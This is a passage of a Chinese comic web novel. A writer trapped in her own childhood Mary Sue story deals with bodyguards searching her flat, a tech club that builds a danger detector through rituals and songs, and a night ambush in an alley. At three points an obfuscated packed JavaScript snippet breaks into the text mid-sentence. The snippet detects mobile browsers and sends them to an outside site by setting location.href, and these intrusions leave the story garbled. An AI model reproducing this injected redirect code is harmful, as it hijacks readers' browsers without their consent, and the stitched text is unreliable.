“好吧。”祁冉叹了口气,半是为了角色扮演半是心累地说道,“洛玄少爷,你说得也有道理。不如这样,你带着人去我家里亲自检查一遍,确认我周围的环境是否安全,这样行吗?” 见祁冉率先作出让步,洛玄也没有再得寸进尺,同意了她的提议:“可以。” 说话间一行人已经抵达了目的地,祁冉带着一大群严阵以待的安保人员,浩浩荡荡地走进家门。 “我们就不坐了。”洛玄抬手制止了祁冉招待客人的举动,“泪儿小姐,请你先带我们去你家里的各个房间走一圈。” 任务描述中有提到让她配合他们的工作,于是祁冉点头道:“好的。” 在原文设定中,这里是祁冉租住的一间小公寓,一共也就六十平方米,不到三分钟,他们就已经逛完了公寓中的每一个房间。 在他们返回客厅的路上,洛玄的声音有些低落:“泪儿小姐,没想到平时你就住在这样的环境中。” 什么意思,看不起她是不是? “我觉得这间房屋的环境很好啊。”祁冉评价道,“生活起居都还算方便,而且它离艾利牛顿和市场都不远,去哪里都不需要耗费太长时间。” 这是祁冉的真心话,她小时候想象出来的这套公寓的条件确实挺不错的,这些日子她住得还算舒心。 因为她那时并不了解于房屋租赁的市场行情,没想过这间公寓根本就不是她这样一个贫穷特招生租得起的。 听了这话,洛玄心中的酸楚更甚:“泪儿小姐,你真的很坚强。” 被这样一双深情的眼眸注视着,祁冉自己都快膨胀起来了。 她赶紧把话题引导回正轨上,生怕洛玄又说出什么暧昧的话:“洛玄少爷,你们这就算检查完了?” “当然没有,我只是想先了解一下你房间的概况。” 洛玄向身边的保镖队长递了一个眼神,他便上前一步,从手提包中取出一张白纸,在茶几上摊开、铺平,接着用铅笔在上面作起画来。 在保镖开展工作后,洛玄对祁冉继续说道:“因为在安排人手之前,我们需要清楚地掌握房屋的户型,看看哪里存在安全隐患,哪里有视觉盲区,哪里是防守薄弱点。只有掌握了这些情报,我们才能有针对性地加强安保措施,确保万无一失。” 祁冉环顾着四周的保镖们,每个人脸上都是一副冷峻严肃的表情,做好了随时听令的准备。 如果他们没有把自己的茶几当作军事沙盘,那这些人看起来确实很专业。 队长很快便画完了户型图,在上面标注了需要加强防备的位置:“各位,我已经将泪儿小姐的家分为了二十个区域。第一小队A组去一区,B组去二区……” 这样算下来,平均每个区域都只有三平方米,而每个区域至少有十个人,他们叠罗汉都叠不过来,祁冉对他们能否开展工作持怀疑态度。 不过据洛玄介绍,这些保镖都是训练有素的特种兵出身。很快他们便根据队长命令移动到自己的负责区域内,开始对祁冉的房间展开地毯式搜寻,不放过任何一个角落。 祁冉看着他们端着不知道从哪变出来的显微镜一脸严肃地进行侦察,她极力忍住想吐槽的冲动,装模做样地和他们一起进行所谓的危险排查工作。 “报告!”一名保镖快步赶到洛玄身边立定,“洛玄少爷,我们在泪儿小姐的卧室里发现了纳米级微型摄像头!” “什么?”洛玄神情严峻地看看祁冉,示意她跟上,“走,我们过去看看。” 祁冉也没想到他们还真能在自己房间里查出东西来,连忙和洛玄一同来到卧室,走向人群最密集的地方。 众位保镖都围在卧室的一个角落前,他们听见身后的脚步声,自觉向两边让出一个通道来:“洛玄少爷请看。” 洛玄上前移动显微镜,查看了一会镜头下的物体后,表情更严肃了几分。他起身为祁冉腾开一个空间:“泪儿小姐,你来看看。” 透过显微镜,一个黑豆大小的球形物体映入眼帘,上面镶嵌着一块圆形镜片,的确和常见的摄像头构造很相似。 “这是怎么回事?”祁冉惊惧地看向洛玄,“难道是……” 联想到之前她被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755606|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监视的经历,可能布置摄像头的人只有两个,但洛玄本人就站在这里,所以嫌疑就理所当然地倾向了另一个人。 这要是搁现实世界,慕容绝早就被请去喝局子茶了吧! 祁冉后怕地想,幸亏这是她自己写的小说,她应该不至于受到什么人身伤害,慕容绝应该也没有真的像个变态一样偷窥她的隐私。 但这个举动还是很恐怖啊! “虽然我不想承认,但是你的猜想很可能是对的。”洛玄想尽量冷静地阐述事实,但他的声音中还是不由得带上了几分怒气,“这种摄像头是由慕容集团旗下的科技公司——SAT研发的产品,我母亲曾在那里担任执行总裁,我绝对不会认错它使用的技术痕迹。” 他是怎么从摄像头表面上看出它使用了什么技术的啊! 祁冉觉得单凭这条信息也不能坐实慕容绝的罪名:“那有没有可能是别人买了这种摄像头,然后安装在我家里的?” “不可能。”洛玄笃定道,“我前不久才看过公司的工作报告,这是他们最新研制出的产品之一,目前还没有投入大规模生产,不可能在市面上流通,而且公司也有明确规定,不准将未获得生产许可的研究成果带出公司或泄露给他人,我们对此排查得很严格。” “那看来这是慕容少爷做的没错了。”祁冉无奈地说道,“他一直都在纠缠我,试图将我控制在他手中。” “他这样做真是太过分了。”洛玄的情绪罕见地波动起来,又安慰祁冉道,“你放心,稍后我会帮你屏蔽所有来自慕容家的频段信号,之后我也会去找表哥谈谈,让他不要再做这些不尊重你的事。” 祁冉觉得洛玄也不是很有资格说这些话,从本质上来讲他俩做的事没有太大区别啊! “好。”祁冉感激地说道,还不忘加了一句茶言茶语,“但是请你不要和慕容少爷吵架,你们毕竟是兄弟,不要为我伤了和气。” “我明白。”洛玄漆黑如墨的眼瞳中流露出深情和伤感,就像素日沉静的深海中泛起一丝柔和的波澜。他含情脉脉地注视着祁冉,她竭力忍住起鸡皮疙瘩的冲动,“泪儿小姐,你……” “铃——” 手机铃声打断了洛玄的施法前摇,也让祁冉得到合适的借口脱身,迅速后退一步说道:“抱歉洛玄少爷,我去接个电话。” 话音未落祁冉掉头就跑,飞快地奔向床头柜上的手机,生怕洛玄强行拉着她把刚才那些话说完。 这电话来得真是太及时了! “泪儿小姐,我是星痕。”电话那头传来一个轻快的语调,“我们不是说好了今天晚上要去打羽毛球吗,我已经到球场了。你现在在哪?” 祁冉这才想起来,周四的时候星痕单方面邀请她出去玩,她根本没答应,但星痕自顾自地说了一句“就这么说定了”,显然在他看来,两人已经达成了这项约定。 祁冉一个头两个大,这些人能不能别总是沉浸在自己的世界里,倒是听别人说话啊! “不好意思星痕学长,我没想到你会直接去羽毛球场。”祁冉解释了两人之间的误会,又看看站在卧室另一头紧盯着她的洛玄,压低声音说道,“我这边现在有事,不能去球场。” 说着,她简单说明了自己家里正在发生的事。 “什么?” 听到祁冉身边有潜在危险,星痕的音量骤然提高:“不行,既然是泪儿小姐的安全受到威胁,那我不能坐视不管。你稍等,我马上过来。” 祁冉刚刚挂断电话,洛玄的声音就从另一边传来:“是星痕的电话吗?我刚才听到他的声音了。” “对。”祁冉回顾了一下她的任务剧情,一会还得应付这两个大麻烦,“他说他马上过来。” 祁冉三言两语讲述了星痕和自己的通话内容,说到最后一句话时,门铃骤然响起。 祁冉来到客厅,透过猫眼察看门外的情况,只见星痕对她露出一个明朗的微笑。 他是坐慕容绝的火箭改装版轿车来的吧,距离她挂电话还不到一分钟啊! 16.主线任务 “星痕?” 洛玄听到外面的动静,也从卧室中走了出来。在看到星痕的面容时,他顿时摆出一副如临大敌的戒备:“你怎么来得这么快?” “这都是我的新发明的功劳,它叫‘超音速火箭式载具’。只可惜我还没有完全成功,它现在只是一次性道具,用完就报废了。”星痕一边说着一边关上身后的大门,转而把话题挪回当下,“你们的工作进行得怎么样了?” 祁冉如实回答:“进展很顺利,大家一起工作效率很高。” “那我也来帮忙吧。”星痕挽起袖子,兴高采烈地说道,“多一个人就能更快地完成工作了。” “这就不用麻烦你了。”洛玄上前一步拦下他的去路,“我们人手够用,你回去休息吧。” 祁冉见状赶紧上前和稀泥,笑容满面地说道:“洛玄少爷,星痕学长也是一片好心,更何况他来都来了,总不能就这么让他回去。再说,要是让他帮忙排除危险,你也能早点放心,对吧?” 见祁冉率先发话,她说得也十分在理,洛玄不好驳回她的建议,只好点头应允,默许了星痕的要求。 “那你和我一起来厨房。”洛玄对星痕说道,“刚才我的人报告这里是危险地带,需要重点关注。” 虽然他这话说得有些夸张,但仔细一想倒也没问题,厨房里的家电多,又有天然气管道,做饭时也要用到明火,的确是家里最有可能存在安全隐患的地方。 祁冉决定把他们当作上门来帮自己检查安全问题的消防员,跟着二人一起进了厨房,自己去确定煤气阀门等是否已经关紧。 “泪儿小姐,这是什么?” 听见洛玄略带紧张的语气,祁冉回头望去,只见他和星痕正并排站在橱柜前,一脸严肃地看着面前的物体。 祁冉看了看他们前方的那个家家户户都有的常用电器,有些纳闷地回答:“电饭锅啊。” 总不能是因为他们从小就很有钱,没机会进厨房,连电饭锅都没见过吧? 洛玄像审讯犯人一样问道:“它是用来干什么的,原理是什么?” 听他的语气,这不是电饭锅,而是一颗不定时炸弹,随时都有爆炸的危险。 “电饭锅当然是用来蒸米饭的。”祁冉觉得莫名其妙,像给小学生讲科学课一样解释着,“它的主要原理是电流的热效应,通过将电能转化为热能的方式加热食物……” “等等。”星痕打断祁冉的话,不解地提问,“为什么要用这么危险的方式做饭?一旦出现电路短路的情况,就有可能发生火灾,在厨房这种电器和能源密集的区域还极易引发爆炸。” 这话把祁冉整不会了。 她疑惑道:“那我们小心点就是了,要不然还能用其他方式做饭吗?” 从祁冉这些天的观察来看,总体而言,除了一些不合逻辑的剧情设定以外,这个世界的各个方面都和十五年前的她所在的现实世界保持一致,科技水平也是一样,她甚至还在用翻盖手机。 这两人问的问题像是他们和她生活在不同时代似的。 “我们都是用‘节能型声波共振加热器’做饭的,它是科技协会的研究成果之一。”星痕理所应当地说着,“它的主要原理是声波振动生热,仪器内部配有声波增强器,在加热食物时只需要使用者和它聊天,它就会指数级放大声波振动的能量,从而达到加热食物的目的,整个过程安全而环保。” 这算什么,在吃饭前先安抚食物情绪? “科技协会果然是我校最强社团,实力不容小觑。”祁冉很给面子地吹捧道,“那么它在哪里可以买到呢?我从来没见过这样的高科技产品。” “它暂时还无法从市场中购买。”星痕解释道,“因为在一项发明正式上市之前,产品试用、专利审批等每一个环节都需要很长时间,而科技协会中汇聚了太多天才,新的研究成果层出不穷,外界跟不上我们的速度,所以只有科技协会的内部成员可以率先使用最新的发明研究。” 他的话在离谱中竟然有一丝合理。 “如果不是今天来到你家,我也没想到这世界上竟然还有那么多人过着落后的生活。”洛玄发出一句感叹,他眉眼低垂,歉疚地对祁冉说道,“对不起,泪儿小姐,是我们考虑不周。” “对,我们忽视了这一点。”星痕不好意思地笑笑,转而露出认真的神情,“泪儿小姐,如果你能加入科技协会,不但能够改善你的个人生活,也一定能为这个世界创造出巨大的贡献。你是一位耀眼的天才,不该因为贫穷的出身而被埋没。” 面对星痕情真意切的劝说,祁冉感动万分,但依然表示拒绝:“星痕学长,我很感谢你的邀请,但正如我之前所说,我不能违反科技协会的规定,在我没有凑够会费的时候,我就不应该加入协会。” “不,泪儿小姐,请你再考虑一下我们的邀请吧。” 洛玄环顾祁冉家中的环境,轻轻叹了口气:“我们知道你性格坚强,不愿意接受我们的帮助,但你可以先加入协会,在稍后慢慢补齐会费,不要把自己逼得太紧,防止像这次一样受到他人胁迫。如果你因此出了什么事,我恐怕就要永远活在悔恨当中了。” 星痕也在一旁附和道:“没错,只有你先加入科技协会才能使用那些高科技研究,在它们的帮助下,你也有机会更快地攒钱凑够会费,这对你来说是事倍功半的好事。” 祁冉估摸着火候差不多了,于是开始了下一步的行动。 “谢谢两位学长的关心,你们为我做了这么多,我无以为报。”祁冉诚恳地说道,“既然这样,那我也不应该再拒绝你们的好意。” 她对两人微笑道:“我答应你们,从今天起正式加入科技协会。” “太好了,从今天起你就是我们中的一员了。”星痕喜出望外,又赶紧趁热打铁地说道,“今天已经很晚了,我们也不方便再打扰你。这样,你明天一早来科技协会,我们带你进实验室熟悉一下环境,你就可以试着制作第一个发明了!” “好的。”眼看着任务即将结束,祁冉的语气也轻快起来,“时间不早了,几位学长也早点回家吧。” “好,泪儿小姐也早些休息。”洛玄回头看看那些已经完成工作的保镖,向祁冉微微颔首,“那我们先走了,明天见。” “明天见。” 祁冉送走这支气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765755|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势恢宏的保安大队,拖着疲惫的身躯去洗漱睡觉。 从今早开始祁冉做了一连串的任务,在慕容绝、凌千幻、洛玄、星痕之间辗转周旋,又经历了那么多事,精力早就被消耗干净了,她刚一挨到枕头,眼皮就沉得再也抬不起来。 在半梦半醒间祁冉心想,低精力人士果然当不了玛丽苏小说女主,刚才在门口和洛玄还有星痕说话的时候,她差点当场倒头就睡。 或许也正是这个原因,加上那些微型摄像头的体积实在太小,她并没有看到在星痕出门时,他手中曾发出一闪而过的反光。 祁冉翻了个身迷迷糊糊地想着,明天她还要早起去艾利牛顿。不过身为学生,校园生活才应该是她的主要任务,这剧情罗里吧嗦地绕了一大圈,终于要回归主线了。 她任由思绪纷飞了一会,不久后就坠入沉眠之中。 第二天早上,祁冉按照往常上学时的流程,搭乘公交来到艾利斯顿,再次跳了一遍激情澎湃的召唤之舞,顺利进入活动室。 科技协会和上次她进来时见到的布局一样,祁冉轻车熟路地来到前台询问了洛玄和星痕所在的实验室,按照指引敲了敲门。 里面传出星痕的声音:“请进。” “两位学长好。” 祁冉推开门,见星痕和洛玄正坐在实验台前,便微笑着和他们打了个招呼。在两人面前摆放着一大堆乱七八糟的东西,应该是他们待会要用到的实验器材。 “泪儿小姐你来了。”洛玄停下手头整理实验台的动作,拉着凳子往旁边挪了挪,为她腾出个空间,“请坐。” 短暂的寒暄之后,祁冉听着星痕和洛玄介绍实验室的基本情况,分神打量了一下室内的环境。 除了那种炫酷科技感的装修风格以外,它的面貌看起来和学校中常见的实验室没什么区别,基本的实验器材与焊接工具等也一应俱全,的确像是一处用来制作发明的工作间。 但现在祁冉对于这个世界的信任度早就降至零点了,她用怀疑的眼光看着面前的那些制作材料,向身边的两人提问:“学长,我们今天要做什么东西?” “泪儿小姐这么聪明,肯定能猜得到答案。”星痕卖了个关子,对她笑道,“给你一点提示,这和我们昨天做的事有关,而且每个进入科技协会的新会员都可以带走自己制作出的第一件发明。” 祁冉略一思索:“我们要做报警器?” “答案很接近了,但我们不会做这种含金量不高的研究。”洛玄揭晓答案,“我们要做的是便携型智能危险预警仪,它的理论基础是熵增定律和混沌动力学……” 祁冉根本没打算去理解他说的话,只在最后言简意赅地总结道:“总之,它能够探测到使用者身边的潜在危险,并提前发出警报。” 星痕赞赏道:“没错,泪儿小姐果然智商超群。” “那我有个问题。”祁冉提起面前那瓶印刷着“不可口但可乐”字样的饮料,“这是干什么用的,它也是制作发明要用到的材料之一吗?” 星痕没有回答祁冉的问题,而是提出了新的问句。 “泪儿小姐,你知道制作发明一共分为几步吗?” 17.神奇发明 考虑到科学研究的严谨性,再加上星痕的表情是少有的认真,祁冉没敢贸然回答他的问题。 “不好意思星痕学长,我以前没有制作发明的经验,所以不太清楚。不过我想,科研是一件很严谨的事,所以它从事前准备起就应该分为很多步骤……” “不,其实没有你想象得那么复杂。”星痕的表情放松了几分,“在明确了理论基础和实验原理后,制作发明只需要三步。” 祁冉觉得这话好像那个“把大象关进冰箱需要几步”的问题的答案,谨慎地问道:“哪三步?” “准备材料、拼接组装、注入灵魂。”星痕流畅地讲解着,“不过,虽然它从理论上来讲很简单,可实践起来并不容易。科学实验的过程往往伴随着风险和意外,稍有偏差就会导致实验失败,所以我们的每一步都要万分小心。” 这后半段话说得没什么大问题,但是这个理论一点都不简单啊! 祁冉不解:“要怎么做才能‘注入灵魂’?” 洛玄让她先把问题搁置一边:“泪儿小姐,待会你就知道了,我们要先着眼当下,从第一步做起。” “对。”星痕接过洛玄的话,“首先要谨慎选材,确保每一个材料都是最合适的,找到最佳的配方。” 祁冉只好把话题移回眼前:“所以这瓶饮料的作用是?” “它是一瓶在82年生产出的汽水,其中的活性因子已经达到了巅峰激发态,是熵增反应的有效催化剂。当然,这些理论有些高深,我们可以用更加通俗易懂的名词来解释我们使用它的目的。” 星痕露出一个神秘微笑。 “——开光。” 这个科技协会一点都不科学啊! 科学的尽头果然是玄学吗? “原来如此,我在其他地方从来没听过这么先进的理论。”祁冉装出恍然大悟的模样,“我就说跟着学长们能学到知识!” 祁冉觉得自己已经被这个世界同化得差不多了,面对异常的逻辑依然可以面不改色地发出赞叹。 “泪儿小姐,你是第一次制作发明,对流程还不熟悉,在旁边观摩学习就可以了。”洛玄站起身,把各部分的组件都拾进一个塑料盒中,“星痕,帮忙搭把手。” 祁冉沉默地看着他们把零件用诡异的方式放堆叠在一起,然后拧开那瓶快乐水的瓶盖,微微倾斜瓶身,动作标准得像从试管中倒出化学试剂一样,嘴里还念念有词。 星痕和洛玄低沉的声音交织在一起,好像恶魔在低语,又仿佛古神的呢喃:“尊敬的光明女神在上,请倾听我等谦卑的祝祷。在永恒的宇宙中,唯有您的力量能够触及每一个黑暗角落,让所有恐惧的灵魂得到安宁……” 祁冉觉得自己好像误入了什么神秘献祭仪式的现场。 他们这哪里是科技协会,干脆改名叫魔法协会吧。 而且这流程又是开光又是祷告的,像是什么东方玄幻和西方奇幻的结合体,她小时候到底看了多少故事,都学贯中西了! “这样的话,第一步就完成了。”洛玄的声音放松下来,像是刚刚完成了一项艰巨的任务。他看向祁冉说道:“接下来是对各部分进行拼接组装。” “好的。”祁冉配合地走到那些焊接工具边,准备给两人递东西,“你们要用哪些工具?” “对于这种高智能型的发明,普通的工具是没有用的,它们有自己的想法。”星痕从洛玄身后探出脑袋笑道,“所以,我们需要使用特殊的技巧。” 说着,他和洛玄从实验桌下取出一个大箱子,合力将它搬到桌上,打开上面的密码锁。 随着他们掀开盖子,箱中的物品也发出炫目的七彩光辉。 这是玛丽苏货币! 祁冉一脸惊疑地看着他们从箱中取出一沓纸钞扔在桌面,面对塑料盒中泡在快乐水中的零件,用谈判般的语气说道:“给你十万,自己拼上。” 所以“特殊技巧”就是钞能力? 这些零件总不能听得懂人话吧! 三双眼睛一齐盯着那个乱七八糟的塑料盒,盒中的零件岿然不动,只有快乐水偶尔冒出几个气泡。 “看来我们还得再加码。”星痕又拿出一沓纸钞,“二十万,够不够?” 桌上的物体依然没有任何动静。 “一百万。”洛玄眉尖微蹙,“我们的耐心是有限度的。” 祁冉旁观着两人往桌上不断扔钞票,在纸钞已经堆成一座小山时终于没忍住劝解:“学长,要不我们试试其他办法?反正——” “快,闭上眼睛!” 星痕急促的呼喊骤然响起,打断了祁冉的话。与此同时,她猛然被洛玄推到一边并捂住双眼,祁冉不敢乱动,只能站在原地慌忙问道:“怎么了?” “我们已经达到反应条件,零件开始自动拼装了。”洛玄解释道,“在这个过程中它会发出眩目的光芒,需要把眼睛闭上以防受伤。” 大概过了一分钟,当祁冉再次睁开眼睛看向桌面时,那些纸钞都消失得无影无踪,塑料盒中的零件也早已合为一体,盒中只剩下一个拇指大小的徽章状物体。 “刚才桌上的那些钞票呢?”祁冉走近桌前清点上面的物品,又看了看站在她身旁的两人。 “既然反应已经发生,那原材料当然是被转化成了新生成的物品。”星痕看向盒中的物体,“这意味着我们的拼装过程很成功。” 祁冉现在明白科技协会的会费都花在哪了。 就算是她家有矿也经不起这么耗啊! “原来是这样。”祁冉若有所思地点点头,循着星痕的视线看向他们的成果,“那我能把这个仪器拿出来看看吗?” 虽然它还没有投入实际应用,但已经坐拥上亿身价了。 “别着急,泪儿小姐,科研最需要的是耐心和细心。”星痕笑道,“它目前还只是个半成品,距离我们实验成功还差最后一步,也是最关键的一步。” 祁冉记得她刚才问过这个问题:“注入灵魂?” 洛玄小心地托起面前的盒子,同时回答祁冉的话:“没错,这一步我们需要你的帮助。” 说着,他将仪器连同盒子放在地上,然后和星痕一左一右地拉起祁冉的手,再彼此相牵,让三人围成一个圆圈。 “我前面说过,科学实验总是伴随着风险和意外,我们并不是每次都能成功。”星痕为这个举动的含义作出了解释,“所以,在最后这一步,我们需要向它倾注美好的心愿,衷心期盼它能够变成我们想要的发明研究。” “对。”洛玄补充道,“实验成功的概率与实验人数以及愿望的强烈程度成正比,所以请泪儿小姐集中注意力,从心底祈愿实验能够成功。” 这是什么唯心主义发明啊! 到目前为止,祁冉觉得这个科技协会已经和“科技”二字相去甚远了。 很遗憾,在她十岁的时候只学过数学,没有上过物理和化学课,所以在她看来生活处处是魔法,在写这种搞科研的剧情时也全凭她的想象力瞎编。 就凭她脑洞大开的程度,加上刚才洛玄和星痕那个诡异的献祭仪式,她真害怕召唤出什么不得了的东西来。 保险起见,在祈愿开始前祁冉抢先问道:“那如果实验失败了,会造成什么后果?” “别担心,虽然能否发明成功是概率问题,但就算实验失败了,我们也一样可以得到想要的仪器。”洛玄宽慰她,“只不过它可能会附带不特定的副作用,具体有哪些副作用也是概率问题。” 祁冉懂了,他们这是把发明研究当抽卡游戏玩,还是没有保底机制的那种。 她可算是知道他们那些没用的研究成果都是从哪来的了! “好了,闲聊就到此为止。”星痕收敛笑容,表情变得认真起来,“泪儿小姐,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768982|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你准备好。” 说完,他向右迈出脚步,同时洛玄也朝右跨出一步,两人带动祁冉转起了圈。在两人的牵引下,祁冉被迫将脚步变得越来越轻快,和他们一起围着中间的塑料盒子蹦蹦跳跳。 随着他们步伐节奏的加快,四周无端地响起一阵若有若无的音乐。 听着逐渐响起的bgm,祁冉明白,他们又扛着音响出场了。 她保持着僵硬的笑容,昂首阔步地跳跃着,心中饱含美好的祝愿。 求求这场实验赶紧结束吧! 就在这时,她猛地撞上前面洛玄的脊背。 “抱歉,洛玄少爷。你怎么不走了?”祁冉疑惑地抬起头,她注意到周围的音乐也骤然停了下来,像是前奏播放完毕后的短暂间隙。 洛玄回过头深情地注视着祁冉,然后忽地扭头指向窗户。 “看!窗外的天气多晴朗~” 祁冉被他突如其来的歌声、复而响起的音乐惊了一瞬,她还没反应过来时,星痕骤然从后面搭上她的肩膀:“听!我们在这里把歌唱~” 接着,洛玄又望向星痕,伸手示意他跟上自己:“世间万物沐浴神光~” 星痕会意地凑过去回应:“咒语降临奇迹土壤~” 然后,两人优雅转身,一同挽起正在发懵的祁冉,悠扬的歌声交汇在一起:“聆听我们美好的愿望~” 不是,他们怎么突然开始表演歌剧了! 她写这段的时候绝对是刚看完迪土尼动画吧,人物说着说着就唱起来了,还伴有夸张的舞蹈动作! 但鉴于他们正处在实验最关键的一步,祁冉也不敢在这时轻举妄动,只能跟着他们糊弄着往下唱。 “啊!快来到仪式中央~” 两人看上去已经完全沉浸其中了,他们华丽地腾挪跳跃,一把推得旋转椅甩出了残影。 祁冉陪着他们一起又唱又跳,旋转跳跃她闭着眼,不让自己流下悔恨的眼泪。 早知如此,何必当初。 她的成分真是太复杂了! 最终,在三人热情洋溢地给仪器表演过一场音乐剧后,屋内再次充满耀眼的七彩光芒。 “好了,泪儿小姐,你现在可以把眼睛睁开了。” 洛玄松开手,祁冉走到星痕身边,看向他手中的仪器:“怎么样星痕学长,这个危险预警仪研发成功了吗?” “经过我的测算,研究结果应该是完美的。”星痕把预警仪放到祁冉手中,惊喜地说道,“不过我没想到实验竟然会这么顺利,一般而言,第一次参加实验的新会员都会经历失败,看来你拥有强烈而纯粹的愿望。” 祁冉谦逊地笑笑:“哪里,我也只是想尽快完成实验,见证我和学长们的第一个研究成果。” 无论是谁被扔进这个疯狂的世界里,都会产生强烈的回家念头的! “既然是星痕测算过的结果,那应该没什么问题。”洛玄也松了口气,“从今天起你就把它带在身边,这样我也不用再时刻担心你的安危了。” “谢谢学长关心,你们考虑得真周到。” 祁冉一边维持着人设,一边好奇地摆弄了一下手里的仪器,她暂时没能看出它什么特别之处。 然而,她这个举动却唤醒了系统。 【剧情:在科技协会的实验室中,泪儿与星痕、洛玄一起制作出了属于自己的第一个发明——便携型智能危险预警仪,泪儿对它爱不释手,当晚回家就决定对它进行试用,检验实验是否成功。】 【任务:晚上十二点之后,携带预警仪去小区后无人的小巷里,测试预警仪能否探测到身边的潜在危险并提前报警。】 这是什么逻辑啊! 为了测试危险预警仪的功能因此以身涉险,这和为了测试轮椅性能所以把自己腿打断有什么区别? 祁冉觉得,如果不出意外的话,她应该是要出意外了。 18.秘密身份 在离开科技协会的活动室后,祁冉又被星痕和洛玄以各种理由纠缠着,直到晚饭后才放她回家。 祁冉进门后就迅速冲进卫生间洗漱,不到十分钟她就已经上床钻进了被窝。 考虑到半夜她还得爬起来去测试危险报警仪的功能,身为作者的直觉告诉祁冉,她这一去八成就要出事,谁知道接下来还要遭遇什么剧情。 有了先前的经历,祁冉已经非常明确,在接二连三的风波到来之前,她唯一能做的准备就是养精蓄锐! “嘀嘀——嘀嘀——” 将近半夜十二点的时候,手机闹铃准时响起。 祁冉从被窝中伸出手,迷迷糊糊地关掉闹钟。她撑起眼皮走到窗边,拉开窗帘望向外面,目之所及都是一片漆黑,只有几户人家的窗户还亮着灯光。 小区内的路上都没有多少行人,更别说它背后那条没有路灯的小巷了。 根据任务要求,祁冉捏紧口袋里的危险预警仪,心惊胆颤地下楼,出了小区后门,身影没入一片漆黑的夜色中。 这条巷道是个死胡同,路边只有几个垃圾箱和杂乱的野草,平时白天都没什么人到这来,夜间更是如此,所以这条路上没有安装路灯,而祁冉出于测试仪器的目的也不能开启手机自带的手电筒,只能凭借暗淡的月光缓步前行。 在逼仄幽暗的巷子里,祁冉只能听得见自己咚咚的心跳和急促的呼吸声,她紧张地朝前走着,一面迈步向前一面注意着周遭的动静,左手按在手机的拨号键上,准备随时报警。 这时一阵风吹来,灌木丛一齐摇摆着,叶片沙沙作响,一时间盖过了祁冉发出的微弱声音。 “哔哔!”祁冉口袋中的预警仪猛地发出响声,将她吓得一激灵,“小心,您头上正有危险逼近,快向左侧移动两米!” 祁冉本能地抬头看去,她上方的确有一个黑影正劈头盖脸地向她袭来! 她来不及思考,慌忙按照系统提示照做,几秒钟后那个黑影落了地,预警仪也随之没了声音,表示着警报已经解除。 祁冉小心翼翼地挪步靠近那个黑影,屏住呼吸定睛一看。 这是个黑色塑料袋。 搞了半天她根本就是自己吓自己! 这危险预警仪对危险的判定阈值也太低了,怎么就连一个塑料袋都要报警? 祁冉这样想着,拿出兜里的预警仪看了一眼,这才发现刚刚它的提示音戛然而止不是因为警报解除,而是因为仪器没电了。 她就知道,科技协会里的发明都是鸡肋。 好在任务成功的系统提示音已经在耳畔响起,虚惊一场后,祁冉稍稍放松了些,转身快步向巷口走去。既然任务已经完成,祁冉也不用再测试报警仪的功能,于是打开手电筒,借着光亮给自己壮胆。 然而,在她经过一处灌木丛时,那处叶片无风自动了一下。 祁冉慌忙把手电筒的光线转向那处异常:“谁?” 灌木丛中没有发出任何回应。 根据她多年的阅读经验判断,这种时候绝对不能上前去查看情况,否则一定会遭遇不测。 于是,祁冉装作自言自语的模样,大声说道:“哦,我应该是看错了。” 说着,她收回光束重新踏上返程,加快脚步想要迅速摆脱险境。她不敢回头,只能紧紧盯着前方的巷口,按捺住狂乱的心跳,暗示自己别慌。 但很快祁冉就听到她的背后传来也传来一阵急促的脚步声,那声音不大,却仿佛卷着凛冽的疾风呼啸而来,正朝着她的方向飞速逼近。 祁冉一阵头皮发麻,迅速跑了起来,在按下手机拨号键的同时大声呼救:“救唔——” 祁冉没能来得及逃脱,眨眼间那人就赶至她身边,一手捂住祁冉的嘴截住她的呼救,同时从她手中夺过手机挂断电话,而后将手机扔到一旁,冷声警告道:“别动,否则我杀了你。” 虽然这声音听起来有些虚弱,但依然保持平时那种冷酷的风格,祁冉绝不会认错。 她决定冒险一搏,便大着胆子转过脸,无辜的眼神正对上南宫冷夜惊愕的双眸。 “泪儿小姐,怎么是你?” 祁冉察觉到自己嘴上的力道有所松懈,可南宫冷夜却又像是想起什么似的,迅速恢复那副冷峻的神情,还不知道从哪掏出把匕首架在她脖子上:“别出声,听到没?” 祁冉的性命正被他攥在手里,她哪敢不答应,于是连连点头。 南宫冷夜见状放开了祁冉的嘴,逼视着祁冉问道:“你和他们是一伙的?” 祁冉调整着呼吸,一头雾水地问道:“‘他们’是谁?” 由于南宫冷夜的面容近在咫尺,祁冉能够清楚地看到他用怀疑的眼光扫过她的脸。他没有回答祁冉的问题,转而问她:“这么晚了,你在这干什么?” 